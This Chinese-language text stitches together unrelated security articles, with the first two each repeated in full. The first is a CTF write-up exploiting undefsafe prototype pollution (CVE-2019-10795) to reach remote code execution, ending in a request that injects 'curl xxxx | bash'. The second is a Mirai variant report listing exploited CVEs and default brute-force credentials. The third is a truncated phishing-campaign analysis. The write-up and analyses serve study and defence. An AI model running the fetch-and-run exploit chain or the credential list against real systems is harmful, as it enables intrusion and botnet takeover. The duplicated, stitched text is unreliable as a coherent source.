0x00 前言

在2020网鼎杯的题目中,有一道notes题考查原型链污染,同时利用到了CVE-2019-10795,正好借此机会,分析一下原型链污染攻击。

0x01 题目源码

题目给出了源代码,如下:

源码如下:

var express = require('express');
var path = require('path');
const undefsafe = require('undefsafe');
const { exec } = require('child_process');
var app = express();
class Notes {
    constructor() {
        this.owner = "whoknows";
        this.num = 0;
        this.note_list = {};
    }
    write_note(author, raw_note) {
        this.note_list[(this.num++).toString()] = {"author": author,"raw_note":raw_note};
    }
    get_note(id) {
        var r = {}
        undefsafe(r, id, undefsafe(this.note_list, id));
        return r;
    }
    edit_note(id, author, raw) {
        undefsafe(this.note_list, id + '.author', author);
        undefsafe(this.note_list, id + '.raw_note', raw);
    }
    get_all_notes() {
        return this.note_list;
    }
    remove_note(id) {
        delete this.note_list[id];
    }
}
var notes = new Notes();
notes.write_note("nobody", "this is nobody's first note");
app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'pug');
app.use(express.json());
app.use(express.urlencoded({ extended: false }));
app.use(express.static(path.join(__dirname, 'public')));
app.get('/', function(req, res, next) {
    res.render('index', { title: 'Notebook' });
});
app.route('/add_note')
    .get(function(req, res) {
        res.render('mess', {message: 'please use POST to add a note'});
    })
    .post(function(req, res) {
        let author = req.body.author;
        let raw = req.body.raw;
        if (author && raw) {
            notes.write_note(author, raw);
            res.render('mess', {message: "add note sucess"});
        } else {
            res.render('mess', {message: "did not add note"});
        }
    })
app.route('/edit_note')
    .get(function(req, res) {
        res.render('mess', {message: "please use POST to edit a note"});
    })
    .post(function(req, res) {
        let id = req.body.id;
        let author = req.body.author;
        let enote = req.body.raw;
        if (id && author && enote) {
            notes.edit_note(id, author, enote);
            res.render('mess', {message: "edit note sucess"});
        } else {
            res.render('mess', {message: "edit note failed"});
        }
    })
app.route('/delete_note')
    .get(function(req, res) {
        res.render('mess', {message: "please use POST to delete a note"});
    })
    .post(function(req, res) {
        let id = req.body.id;
        if (id) {
            notes.remove_note(id);
            res.render('mess', {message: "delete done"});
        } else {
            res.render('mess', {message: "delete failed"});
        }
    })
app.route('/notes')
    .get(function(req, res) {
        let q = req.query.q;
        let a_note;
        if (typeof(q) === "undefined") {
            a_note = notes.get_all_notes();
        } else {
            a_note = notes.get_note(q);
        }
        res.render('note', {list: a_note});
    })
app.route('/status')
    .get(function(req, res) {
        let commands = {
            "script-1": "uptime",
            "script-2": "free -m"
        };
        for (let index in commands) {
            exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
                if (err) {
                    return;
                }
                console.log(`stdout: ${stdout}`);
            });
        }
        res.send('OK');
        res.end();
    })
app.use(function(req, res, next) {
    res.status(404).send('Sorry cant find that!');
});
app.use(function(err, req, res, next) {
    console.error(err.stack);
    res.status(500).send('Something broke!');
});
const port = 8080;
app.listen(port, () => console.log(`Example app listening at http://localhost:${port}`))

乍一看,并无明显的突破口,题目给予了几个功能,那么就从其第三方库入手,进行探索。这里undefsafe引起了我的关注。

0x02 undefsafe介绍

undefsafe是Nodejs的一个第三方模块,其核心为一个简单的函数,用来处理访问对象属性不存在的报错问题,其具有巨大的用户量:

2020-06-22-17-58-24.png

但其在低版本( < 2.0.3 )存在原型链污染漏洞。

我们简单测试一下该模块的使用:

var object = {
    a: {
        b: {
            c: 1,
            d: [1,2,3],
            e: 'skysec'
        }
    }
};
console.log(object.a.b.e)
// skysec

可以看到当我们正常访问object属性的时候会有正常的回显,但当我们访问不存在属性时:

console.log(object.a.c.e)
// TypeError: Cannot read property 'e' of undefined

则会得到报错。

在编程时,代码量较大时,我们可能经常会遇到类似情况,导致程序无法正常运行,发送我们最讨厌的报错( ,那么undefsafe可以帮助我们解决这个问题:

console.log(a(object,'a.b.e'))
// skysec
console.log(object.a.b.e)
// skysec
console.log(a(object,'a.c.e'))
// undefined
console.log(object.a.c.e)
// TypeError: Cannot read property 'e' of undefined

那么当我们无意间访问到对象不存在的属性时,就不会再进行报错,而是会返回undefined了。

同时在对对象赋值时,如果目标属性存在:

var a = require("undefsafe");
var object = {
    a: {
        b: {
            c: 1,
            d: [1,2,3],
            e: 'skysec'
        }
    }
};
console.log(object)
// { a: { b: { c: 1, d: [Array], e: 'skysec' } } }
a(object,'a.b.e','123')
console.log(object)
// { a: { b: { c: 1, d: [Array], e: '123' } } }

我们可以看到,其可以帮助我们修改对应属性的值。

如果当属性不存在时,我们想对该属性赋值:

var a = require("undefsafe");
var object = {
    a: {
        b: {
            c: 1,
            d: [1,2,3],
            e: 'skysec'
        }
    }
};
console.log(object)
// { a: { b: { c: 1, d: [Array], e: 'skysec' } } }
a(object,'a.f.e','123')
console.log(object)
// { a: { b: { c: 1, d: [Array], e: 'skysec' }, e: '123' } }

访问属性会在上层进行创建并赋值。

0x03 undefsafe模块漏洞分析

但是该模块在小于2.0.3版本,存在原型链污染漏洞:

我们在2.0.3版本下进行测试:

var a = require("undefsafe");
var object = {
    a: {
        b: {
            c: 1,
            d: [1,2,3],
            e: 'skysec'
        }
    }
};
var payload = "__proto__.toString";
a(object,payload,"evilstring");
console.log(object.toString);
// [Function: toString]

但如果在低于2.0.3版本运行,则会得到如下输出:

var a = require("undefsafe");
var object = {
    a: {
        b: {
            c: 1,
            d: [1,2,3],
            e: 'skysec'
        }
    }
};
var payload = "__proto__.toString";
a(object,payload,"evilstring");
console.log(object.toString);
//evilstring

我们发现当undefsafe第2,3个参数可控时,我们可以污染object的值(即第一个参数)。

那么这种攻击有什么用呢?我们简单看一个例子:

var a = require("undefsafe");
var test = {}
console.log('this is '+test)
// this is [object Object]
a(test,'__proto__.toString',function(){ return 'just a evil!'})
console.log('this is '+test)
// this is just a evil!

当我们将对象与字符串拼接时,会自动触发toString方法,但由于当前对象test中没有该方法,因此不断向上回溯。当前环境中等同于在test.__proto__中寻找toString方法:

2020-06-22-18-49-34.png

然后将返回:[object Object],并与this is进行拼接。

但是当我们使用undefsafe的时候,可以对原型进行污染,污染前,原型中toString方法为:

2020-06-22-18-53-25.png

污染后:

2020-06-22-18-52-48.png

此时我们进行测试:

2020-06-22-18-53-52.png

我们发现一个空对象和字符串123进行拼接,竟然返回了:

just a evil!123

那么这就是因为原型链污染导致,当我们调用b对象和字符串拼接时,触发其toString方法,但由于当前对象中没有,则回溯至原型中寻找,并发现toString方法,同时进行调用,而此时原型中的toString方法已被我们污染,因此可以导致其输出被我们污染后的结果。

例如操作:

var a = require("undefsafe");
var test = {}
var payload = "__proto__.toString";
a(test,payload,"evilstring");

我们跟进undefsafe函数内,第一次赋值在如下时候:

2020-06-22-19-04-36.png

此时我们传入的test,会变成test.__proto__:

2020-06-22-19-04-54.png

而后会进行递归,至第二次:

2020-06-22-19-06-26.png

此时传入的test的就会变为test.__proto__.toString:

2020-06-22-19-07-03.png

然后进行赋值:

2020-06-22-19-07-37.png

从而达到原型链污染的目的。

该漏洞在2.0.3版本进行修复,我们看到patch内容如下:

2020-06-22-19-13-27.png

在赋值前增加校验:

2020-06-22-19-13-17.png

发现如果操纵原型,则会返还undefined。

0x04 漏洞利用

那么回到题目中,我们注意到其使用了undefsafe模块,那么如果我们可以操纵其第2、3个参数,即可进行原型链污染,则可使目标网站存在风险。故此首先查看undefsafe的调用点:

    get_note(id) {
        var r = {}
        undefsafe(r, id, undefsafe(this.note_list, id));
        return r;
    }
    edit_note(id, author, raw) {
        undefsafe(this.note_list, id + '.author', author);
        undefsafe(this.note_list, id + '.raw_note', raw);
    }

发现在查看note和编辑note时会调用undefsafe,那我们首先查看get_note方法会被哪个路由调用:

app.route('/notes')
    .get(function(req, res) {
        let q = req.query.q;
        let a_note;
        if (typeof(q) === "undefined") {
            a_note = notes.get_all_notes();
        } else {
            a_note = notes.get_note(q);
        }
        res.render('note', {list: a_note});
    })

此时发现参数q可控,但对于undefsafe的3个参数,我们并不能完整控制第3个参数。

而对于edit_note方法:

app.route('/edit_note')
    .get(function(req, res) {
        res.render('mess', {message: "please use POST to edit a note"});
    })
    .post(function(req, res) {
        let id = req.body.id;
        let author = req.body.author;
        let enote = req.body.raw;
        if (id && author && enote) {
            notes.edit_note(id, author, enote);
            res.render('mess', {message: "edit note sucess"});
        } else {
            res.render('mess', {message: "edit note failed"});
        }
    })

我们发现edit_note路由中会调用,同时此时id,author和raw均为我们的可控值,那么我们则可以操纵原型链进行污染:

    edit_note(id, author, raw) {
        undefsafe(this.note_list, id + '.author', author);
        undefsafe(this.note_list, id + '.raw_note', raw);
    }

那么既然找到了可以进行原型链污染的位置,就要查找何处可以利用污染的值造成攻击,我们依次查看路由,发现/status路由有命令执行的操作:

app.route('/status')
    .get(function(req, res) {
        let commands = {
            "script-1": "uptime",
            "script-2": "free -m"
        };
        for (let index in commands) {
            exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
                if (err) {
                    return;
                }
                console.log(`stdout: ${stdout}`);
            });
        }
        res.send('OK');
        res.end();
    })

我们进行简单测试:

const undefsafe = require('undefsafe');
var note_list = {}
var id = '__proto__.aaa'
var author = 'skysec hack u!'
undefsafe(note_list, id + '.author', author);
let commands = {
    "script-1": "uptime",
    "script-2": "free -m"
};
for (let index in commands){
    console.log(commands[index])
}

此时输出为:

uptime
free -m
skysec hack u!

那么为什么我们遍历commands的时候,会遍历到原型中我们污染增加的属性呢?

https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Statements/for...in

在文档中可以看到:

for...in 循环只遍历可枚举属性(包括它的原型链上的可枚举属性)。像 Array和 Object使用内置构造函数所创建的对象都会继承自Object.prototype和String.prototype的不可枚举属性,例如 String 的 indexOf()  方法或 Object的toString()方法。循环将遍历对象本身的所有可枚举属性,以及对象从其构造函数原型中继承的属性(更接近原型链中对象的属性覆盖原型属性)。

因此我们可以利用原型链污染的问题,增加一个我们可控的属性,利用status的命令执行功能令其执行。

那么对于exp的构造就非常简单了,首先构造原型链污染:

POST /edit_note
id=__proto__.aaa & author = curl xxxx | bash & raw = skysec;

再访问/status路由,利用污染后的结果进行命令执行,即可获得shell,进行RCE。

0x05 后记

原型链污染的攻击还是非常有意思的,下次可以多分析几个XD.

0x00 前言

在2020网鼎杯的题目中,有一道notes题考查原型链污染,同时利用到了CVE-2019-10795,正好借此机会,分析一下原型链污染攻击。

0x01 题目源码

题目给出了源代码,如下:

源码如下:

var express = require('express');
var path = require('path');
const undefsafe = require('undefsafe');
const { exec } = require('child_process');
var app = express();
class Notes {
    constructor() {
        this.owner = "whoknows";
        this.num = 0;
        this.note_list = {};
    }
    write_note(author, raw_note) {
        this.note_list[(this.num++).toString()] = {"author": author,"raw_note":raw_note};
    }
    get_note(id) {
        var r = {}
        undefsafe(r, id, undefsafe(this.note_list, id));
        return r;
    }
    edit_note(id, author, raw) {
        undefsafe(this.note_list, id + '.author', author);
        undefsafe(this.note_list, id + '.raw_note', raw);
    }
    get_all_notes() {
        return this.note_list;
    }
    remove_note(id) {
        delete this.note_list[id];
    }
}
var notes = new Notes();
notes.write_note("nobody", "this is nobody's first note");
app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'pug');
app.use(express.json());
app.use(express.urlencoded({ extended: false }));
app.use(express.static(path.join(__dirname, 'public')));
app.get('/', function(req, res, next) {
    res.render('index', { title: 'Notebook' });
});
app.route('/add_note')
    .get(function(req, res) {
        res.render('mess', {message: 'please use POST to add a note'});
    })
    .post(function(req, res) {
        let author = req.body.author;
        let raw = req.body.raw;
        if (author && raw) {
            notes.write_note(author, raw);
            res.render('mess', {message: "add note sucess"});
        } else {
            res.render('mess', {message: "did not add note"});
        }
    })
app.route('/edit_note')
    .get(function(req, res) {
        res.render('mess', {message: "please use POST to edit a note"});
    })
    .post(function(req, res) {
        let id = req.body.id;
        let author = req.body.author;
        let enote = req.body.raw;
        if (id && author && enote) {
            notes.edit_note(id, author, enote);
            res.render('mess', {message: "edit note sucess"});
        } else {
            res.render('mess', {message: "edit note failed"});
        }
    })
app.route('/delete_note')
    .get(function(req, res) {
        res.render('mess', {message: "please use POST to delete a note"});
    })
    .post(function(req, res) {
        let id = req.body.id;
        if (id) {
            notes.remove_note(id);
            res.render('mess', {message: "delete done"});
        } else {
            res.render('mess', {message: "delete failed"});
        }
    })
app.route('/notes')
    .get(function(req, res) {
        let q = req.query.q;
        let a_note;
        if (typeof(q) === "undefined") {
            a_note = notes.get_all_notes();
        } else {
            a_note = notes.get_note(q);
        }
        res.render('note', {list: a_note});
    })
app.route('/status')
    .get(function(req, res) {
        let commands = {
            "script-1": "uptime",
            "script-2": "free -m"
        };
        for (let index in commands) {
            exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
                if (err) {
                    return;
                }
                console.log(`stdout: ${stdout}`);
            });
        }
        res.send('OK');
        res.end();
    })
app.use(function(req, res, next) {
    res.status(404).send('Sorry cant find that!');
});
app.use(function(err, req, res, next) {
    console.error(err.stack);
    res.status(500).send('Something broke!');
});
const port = 8080;
app.listen(port, () => console.log(`Example app listening at http://localhost:${port}`))

乍一看,并无明显的突破口,题目给予了几个功能,那么就从其第三方库入手,进行探索。这里undefsafe引起了我的关注。

0x02 undefsafe介绍

undefsafe是Nodejs的一个第三方模块,其核心为一个简单的函数,用来处理访问对象属性不存在的报错问题,其具有巨大的用户量:

2020-06-22-17-58-24.png

但其在低版本( < 2.0.3 )存在原型链污染漏洞。

我们简单测试一下该模块的使用:

var object = {
    a: {
        b: {
            c: 1,
            d: [1,2,3],
            e: 'skysec'
        }
    }
};
console.log(object.a.b.e)
// skysec

可以看到当我们正常访问object属性的时候会有正常的回显,但当我们访问不存在属性时:

console.log(object.a.c.e)
// TypeError: Cannot read property 'e' of undefined

则会得到报错。

在编程时,代码量较大时,我们可能经常会遇到类似情况,导致程序无法正常运行,发送我们最讨厌的报错( ,那么undefsafe可以帮助我们解决这个问题:

console.log(a(object,'a.b.e'))
// skysec
console.log(object.a.b.e)
// skysec
console.log(a(object,'a.c.e'))
// undefined
console.log(object.a.c.e)
// TypeError: Cannot read property 'e' of undefined

那么当我们无意间访问到对象不存在的属性时,就不会再进行报错,而是会返回undefined了。

同时在对对象赋值时,如果目标属性存在:

var a = require("undefsafe");
var object = {
    a: {
        b: {
            c: 1,
            d: [1,2,3],
            e: 'skysec'
        }
    }
};
console.log(object)
// { a: { b: { c: 1, d: [Array], e: 'skysec' } } }
a(object,'a.b.e','123')
console.log(object)
// { a: { b: { c: 1, d: [Array], e: '123' } } }

我们可以看到,其可以帮助我们修改对应属性的值。

如果当属性不存在时,我们想对该属性赋值:

var a = require("undefsafe");
var object = {
    a: {
        b: {
            c: 1,
            d: [1,2,3],
            e: 'skysec'
        }
    }
};
console.log(object)
// { a: { b: { c: 1, d: [Array], e: 'skysec' } } }
a(object,'a.f.e','123')
console.log(object)
// { a: { b: { c: 1, d: [Array], e: 'skysec' }, e: '123' } }

访问属性会在上层进行创建并赋值。

0x03 undefsafe模块漏洞分析

但是该模块在小于2.0.3版本,存在原型链污染漏洞:

我们在2.0.3版本下进行测试:

var a = require("undefsafe");
var object = {
    a: {
        b: {
            c: 1,
            d: [1,2,3],
            e: 'skysec'
        }
    }
};
var payload = "__proto__.toString";
a(object,payload,"evilstring");
console.log(object.toString);
// [Function: toString]

但如果在低于2.0.3版本运行,则会得到如下输出:

var a = require("undefsafe");
var object = {
    a: {
        b: {
            c: 1,
            d: [1,2,3],
            e: 'skysec'
        }
    }
};
var payload = "__proto__.toString";
a(object,payload,"evilstring");
console.log(object.toString);
//evilstring

我们发现当undefsafe第2,3个参数可控时,我们可以污染object的值(即第一个参数)。

那么这种攻击有什么用呢?我们简单看一个例子:

var a = require("undefsafe");
var test = {}
console.log('this is '+test)
// this is [object Object]
a(test,'__proto__.toString',function(){ return 'just a evil!'})
console.log('this is '+test)
// this is just a evil!

当我们将对象与字符串拼接时,会自动触发toString方法,但由于当前对象test中没有该方法,因此不断向上回溯。当前环境中等同于在test.__proto__中寻找toString方法:

2020-06-22-18-49-34.png

然后将返回:[object Object],并与this is进行拼接。

但是当我们使用undefsafe的时候,可以对原型进行污染,污染前,原型中toString方法为:

2020-06-22-18-53-25.png

污染后:

2020-06-22-18-52-48.png

此时我们进行测试:

2020-06-22-18-53-52.png

我们发现一个空对象和字符串123进行拼接,竟然返回了:

just a evil!123

那么这就是因为原型链污染导致,当我们调用b对象和字符串拼接时,触发其toString方法,但由于当前对象中没有,则回溯至原型中寻找,并发现toString方法,同时进行调用,而此时原型中的toString方法已被我们污染,因此可以导致其输出被我们污染后的结果。

例如操作:

var a = require("undefsafe");
var test = {}
var payload = "__proto__.toString";
a(test,payload,"evilstring");

我们跟进undefsafe函数内,第一次赋值在如下时候:

2020-06-22-19-04-36.png

此时我们传入的test,会变成test.__proto__:

2020-06-22-19-04-54.png

而后会进行递归,至第二次:

2020-06-22-19-06-26.png

此时传入的test的就会变为test.__proto__.toString:

2020-06-22-19-07-03.png

然后进行赋值:

2020-06-22-19-07-37.png

从而达到原型链污染的目的。

该漏洞在2.0.3版本进行修复,我们看到patch内容如下:

2020-06-22-19-13-27.png

在赋值前增加校验:

2020-06-22-19-13-17.png

发现如果操纵原型,则会返还undefined。

0x04 漏洞利用

那么回到题目中,我们注意到其使用了undefsafe模块,那么如果我们可以操纵其第2、3个参数,即可进行原型链污染,则可使目标网站存在风险。故此首先查看undefsafe的调用点:

    get_note(id) {
        var r = {}
        undefsafe(r, id, undefsafe(this.note_list, id));
        return r;
    }
    edit_note(id, author, raw) {
        undefsafe(this.note_list, id + '.author', author);
        undefsafe(this.note_list, id + '.raw_note', raw);
    }

发现在查看note和编辑note时会调用undefsafe,那我们首先查看get_note方法会被哪个路由调用:

app.route('/notes')
    .get(function(req, res) {
        let q = req.query.q;
        let a_note;
        if (typeof(q) === "undefined") {
            a_note = notes.get_all_notes();
        } else {
            a_note = notes.get_note(q);
        }
        res.render('note', {list: a_note});
    })

此时发现参数q可控,但对于undefsafe的3个参数,我们并不能完整控制第3个参数。

而对于edit_note方法:

app.route('/edit_note')
    .get(function(req, res) {
        res.render('mess', {message: "please use POST to edit a note"});
    })
    .post(function(req, res) {
        let id = req.body.id;
        let author = req.body.author;
        let enote = req.body.raw;
        if (id && author && enote) {
            notes.edit_note(id, author, enote);
            res.render('mess', {message: "edit note sucess"});
        } else {
            res.render('mess', {message: "edit note failed"});
        }
    })

我们发现edit_note路由中会调用,同时此时id,author和raw均为我们的可控值,那么我们则可以操纵原型链进行污染:

    edit_note(id, author, raw) {
        undefsafe(this.note_list, id + '.author', author);
        undefsafe(this.note_list, id + '.raw_note', raw);
    }

那么既然找到了可以进行原型链污染的位置,就要查找何处可以利用污染的值造成攻击,我们依次查看路由,发现/status路由有命令执行的操作:

app.route('/status')
    .get(function(req, res) {
        let commands = {
            "script-1": "uptime",
            "script-2": "free -m"
        };
        for (let index in commands) {
            exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
                if (err) {
                    return;
                }
                console.log(`stdout: ${stdout}`);
            });
        }
        res.send('OK');
        res.end();
    })

我们进行简单测试:

const undefsafe = require('undefsafe');
var note_list = {}
var id = '__proto__.aaa'
var author = 'skysec hack u!'
undefsafe(note_list, id + '.author', author);
let commands = {
    "script-1": "uptime",
    "script-2": "free -m"
};
for (let index in commands){
    console.log(commands[index])
}

此时输出为:

uptime
free -m
skysec hack u!

那么为什么我们遍历commands的时候,会遍历到原型中我们污染增加的属性呢?

https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Statements/for...in

在文档中可以看到:

for...in 循环只遍历可枚举属性(包括它的原型链上的可枚举属性)。像 Array和 Object使用内置构造函数所创建的对象都会继承自Object.prototype和String.prototype的不可枚举属性,例如 String 的 indexOf()  方法或 Object的toString()方法。循环将遍历对象本身的所有可枚举属性,以及对象从其构造函数原型中继承的属性(更接近原型链中对象的属性覆盖原型属性)。

因此我们可以利用原型链污染的问题,增加一个我们可控的属性,利用status的命令执行功能令其执行。

那么对于exp的构造就非常简单了,首先构造原型链污染:

POST /edit_note
id=__proto__.aaa & author = curl xxxx | bash & raw = skysec;

再访问/status路由,利用污染后的结果进行命令执行,即可获得shell,进行RCE。

0x05 后记

原型链污染的攻击还是非常有意思的,下次可以多分析几个XD.

Trendmicro研究人员一个新的Mirai变种,该变种利用了9个漏洞,其中最著名的是Comtrend VR-3033路由器中的CVE-2020-10173漏洞,该漏洞在之前的MIRAI变种中没有出现过。

漏洞

新Mirai 变种中使用的漏洞既包括一些很早就发现的漏洞也包括一些新的漏洞,目的是更大范围内的包含不同的联网设备。其中使用的9个漏洞影响特定型号的IP 摄像头、智能电视、路由器等。

CVE-2020-10173漏洞是Comtrend VR-3033 路由器中的一个多认证命令注入漏洞,远程攻击者利用该漏洞可以入侵路由器管理的网络。

之前有研究人员公布了该漏洞的PoC代码,但是在Mirai 变种出现之前没有出现过大规模的利用情况。图1是样本利用该漏洞的情况:

Code snippet showing the use of CVE-2020-10173

图 1. CVE-2020-10173漏洞利用代码段

Mirai变种的利用的另一个近期的漏洞是Netlink GPON Router 1.0.11的远程代码执行漏洞。该漏洞也是今年初发现,Bashlite/Gafgyt 的变种Hoaxcalls也利用了该漏洞。

Code snippet showing the use of Netlink GPON Router 1.0.11 RCE

图 2. 表明Netlink GPON Router 1.0.11 RCE的代码段

此外,Mirai 变种还利用了之前攻击活动中的一些漏洞,如图3和图4所示:

Code snippet showing the use of LG SuperSign EZ CMS 2.5 - Remote Code Execution

图 3. LG SuperSign EZ CMS 2.5远程代码执行漏洞代码

Figure-4-640x167.jpg

图 4. Linksys E系列远程代码执行漏洞代码

Mirai变种利用的其他5个漏洞分别是:

· AVTECH IP Camera / NVR / DVR 设备 – 多安全漏洞

· D-Link 设备– UPnP SOAP 代码执行漏洞

· MVPower DVR TV-7104HE 1.8.4 115215B9 – Shell命令执行漏洞

· Symantec Web Gateway 5.0.2.8远程代码执行漏洞

· ThinkPHP 5.0.23/5.1.31 – 远程代码执行漏洞

暴力破解

Mirai 变种的一个标志就是使用Telnet 和Secure Shell (SSH)暴力破解。该变种也使用了典型的XOR 加密来隐藏用来攻击有漏洞的设备的凭证。提取的部分凭证示例如下:

· 0     

· GM8182 

· ROOT500

· 1001chin

· grouter   

· solokey

· 1111       

· guest       

· svgodie

· 1234       

· h3c 

· swsbzkgn

· 12345     

· hg2x0     

· system

· 123456   

· hi3518    

· t0talc0ntr0l4!

· 20080826       

· huigu309

· [email protected]

· 54321     

· hunt5759

· telecomadmin

· 5up 

· iDirect     

· telnet

· 666666   

· ipcam_rt5350

· telnetadmin

· 88888888       

· iwkb

· tl789

· abc123   

· juantech 

· tsgoingon

· admin     

· jvbzd       

· twe8ehome

· ahetzip8 

· klv123    

· user

· anko nflection 

· vizxv

· antslq     

· nmgx_wapia   

· win1dows

· ascend    

· oelinux123     

· xc3511

· blender   

· pass

· xmhdipc

· cat1029  

· password

· zhongxing

· changeme       

· private    

· zlxx.

· default    

· realtek    

· zsun1188

· dreambox       

· root

· Zte52

结论

Mirai新变种中使用CVE-2020-10173漏洞表明僵尸网络开发者仍在不断扩展其功能来尽可能多地感染目标。新发现的一些漏洞为攻击者提供了更好的机会来入侵设备。普通用户并不知道漏洞的存在,因此也不会去修复漏洞。未来,CVE-2020-10173漏洞会用于Mirai这样的僵尸网络中。研究人员监控这类僵尸网络发现,处理器会复制其他的技术,包括一些漏洞和凭证。

此外,研究人员给出以下建议来确保联网设备的安全:

· 尽快修改安全漏洞;

· 使用网络分段设备来限制感染的传播;

· 使用强密码并尽快修复默认密码;

· 应用安全配置来限制感染的潜在入口。

Trendmicro研究人员一个新的Mirai变种,该变种利用了9个漏洞,其中最著名的是Comtrend VR-3033路由器中的CVE-2020-10173漏洞,该漏洞在之前的MIRAI变种中没有出现过。

漏洞

新Mirai 变种中使用的漏洞既包括一些很早就发现的漏洞也包括一些新的漏洞,目的是更大范围内的包含不同的联网设备。其中使用的9个漏洞影响特定型号的IP 摄像头、智能电视、路由器等。

CVE-2020-10173漏洞是Comtrend VR-3033 路由器中的一个多认证命令注入漏洞,远程攻击者利用该漏洞可以入侵路由器管理的网络。

之前有研究人员公布了该漏洞的PoC代码,但是在Mirai 变种出现之前没有出现过大规模的利用情况。图1是样本利用该漏洞的情况:

Code snippet showing the use of CVE-2020-10173

图 1. CVE-2020-10173漏洞利用代码段

Mirai变种的利用的另一个近期的漏洞是Netlink GPON Router 1.0.11的远程代码执行漏洞。该漏洞也是今年初发现,Bashlite/Gafgyt 的变种Hoaxcalls也利用了该漏洞。

Code snippet showing the use of Netlink GPON Router 1.0.11 RCE

图 2. 表明Netlink GPON Router 1.0.11 RCE的代码段

此外,Mirai 变种还利用了之前攻击活动中的一些漏洞,如图3和图4所示:

Code snippet showing the use of LG SuperSign EZ CMS 2.5 - Remote Code Execution

图 3. LG SuperSign EZ CMS 2.5远程代码执行漏洞代码

Figure-4-640x167.jpg

图 4. Linksys E系列远程代码执行漏洞代码

Mirai变种利用的其他5个漏洞分别是:

· AVTECH IP Camera / NVR / DVR 设备 – 多安全漏洞

· D-Link 设备– UPnP SOAP 代码执行漏洞

· MVPower DVR TV-7104HE 1.8.4 115215B9 – Shell命令执行漏洞

· Symantec Web Gateway 5.0.2.8远程代码执行漏洞

· ThinkPHP 5.0.23/5.1.31 – 远程代码执行漏洞

暴力破解

Mirai 变种的一个标志就是使用Telnet 和Secure Shell (SSH)暴力破解。该变种也使用了典型的XOR 加密来隐藏用来攻击有漏洞的设备的凭证。提取的部分凭证示例如下:

· 0     

· GM8182 

· ROOT500

· 1001chin

· grouter   

· solokey

· 1111       

· guest       

· svgodie

· 1234       

· h3c 

· swsbzkgn

· 12345     

· hg2x0     

· system

· 123456   

· hi3518    

· t0talc0ntr0l4!

· 20080826       

· huigu309

· [email protected]

· 54321     

· hunt5759

· telecomadmin

· 5up 

· iDirect     

· telnet

· 666666   

· ipcam_rt5350

· telnetadmin

· 88888888       

· iwkb

· tl789

· abc123   

· juantech 

· tsgoingon

· admin     

· jvbzd       

· twe8ehome

· ahetzip8 

· klv123    

· user

· anko nflection 

· vizxv

· antslq     

· nmgx_wapia   

· win1dows

· ascend    

· oelinux123     

· xc3511

· blender   

· pass

· xmhdipc

· cat1029  

· password

· zhongxing

· changeme       

· private    

· zlxx.

· default    

· realtek    

· zsun1188

· dreambox       

· root

· Zte52

结论

Mirai新变种中使用CVE-2020-10173漏洞表明僵尸网络开发者仍在不断扩展其功能来尽可能多地感染目标。新发现的一些漏洞为攻击者提供了更好的机会来入侵设备。普通用户并不知道漏洞的存在,因此也不会去修复漏洞。未来,CVE-2020-10173漏洞会用于Mirai这样的僵尸网络中。研究人员监控这类僵尸网络发现,处理器会复制其他的技术,包括一些漏洞和凭证。

此外,研究人员给出以下建议来确保联网设备的安全:

· 尽快修改安全漏洞;

· 使用网络分段设备来限制感染的传播;

· 使用强密码并尽快修复默认密码;

· 应用安全配置来限制感染的潜在入口。

研究人员最近观察到一个网站伪装成与法国政府链接的外交门户网站的登录页面。对威胁行为者基础设施的进一步分析发现了针对三个不同国家外交部机构的更广泛的网络钓鱼活动。还针对四个研究型组织,包括:斯坦福大学,皇家联合服务学院(RUSI),英国智囊团,国会研究服务局(CRS),美国智囊团和五个不同的电子邮件服务提供者。基础设施与已知的朝鲜参与者有重叠,包括相同的域和共享的托管服务提供商。由于其中一位受害者与其在朝鲜制裁方面的work之间存在联系。

在发布此博客文章之前,我们已将钓鱼网站提交给Google Safebrowsing和Microsoft,以列入黑名单。

0x01 针对法国和欧洲外交部的攻击

2019年8月9日,威胁研究团队发现了一个网页,该网页模仿了法国欧洲和外交部(MEAE)在线门户。恶意主机“ portalis.diplomatie.gouv.fr.doc-view [。]” 与合法站点“ diplomatie.gouv.fr”非常相似。导航到可疑子域时,会向用户显示一个模仿MEAE门户的网络钓鱼站点。根据合法站点,访问仅限于“ MEAE代理”。“法国外交官”的合法网站描述了MEAE代理商可能在“欧洲和外交部”的12个机构之一中工作。如果这些机构中的任何一个官员都能登录到门户,则这些机构中的全部十二个都是潜在的受害者,其中包括:

 Agence Française de Développement (AFD)
 Agency for French Education Abroad (AEFE)
 Agricultural Research Centre for International Development (CIRAD)
 Atout France
 Business France
 Campus France and France Médias Monde
 Canal France International (CFI)
 Expertise France
 France Volontaires
 Institut Français
 Research Institute for Development (IRD)

图1-欧洲和外交部(MEAE)门户的Faux登录页面

上面的截图显示了设计为类似于MEAE门户的网页。截图显示了尝试登录的受害者的会话超时弹出窗口,在这种情况下,尽管页面上看不清,但页面源显示了预期的受害者,此人最有可能成为网络钓鱼活动的目标。

图2-MEAE门户和受害者电子邮件地址的页面源代码

页面源代码中的电子邮件是针对目标组织的员工的。根据delegefrance [。] org,页面源代码中的电子邮件地址属于法国驻纽约联合国宣教团的高级官员。此外,这位法国外交官还在“裁军,制裁委员会:伊朗,朝鲜,第一委员会”工作。

0x02 对基础架构的威胁分析

恶意URL“ portalis.diplomatie.gouv.fr.doc-view [。]work”模仿了恶意域“ doc-view [。]work”上的外交门户。该域托管在IP 157.7.184 [。] 15上,并具有几个似乎冒充电子邮件提供商的子域。IP地址似乎也具有几个相似的域和URL,它们在命名约定中共享某些模式。

图3-托管在相同IP地址上的相似命名域

IP地址157.7.184 [。] 15由亚太网络信息中心(APNIC)托管。由于IP地址是共享的,因此多个IP地址托管在同一个IP地址上。IP位于日本,并在位于东京的日本网络信息中心注册。

该IP地址上具有相同命名约定的最近使用域是以下四个域:

域名1- doc-view[.]work

域doc-view [。]work托管在IP 157.7.184 [。] 15上。该域有32个子域,大多数子域似乎是在欺骗电子邮件服务提供商Yahoo,Outlook,Ymail和Google服务。域和某些子域似乎都已设置为看起来像它们将允许受害者访问文档,例如使用Microsoft OneDrive。

图4-域doc-view [。]work上的知名网络钓鱼网站的概述

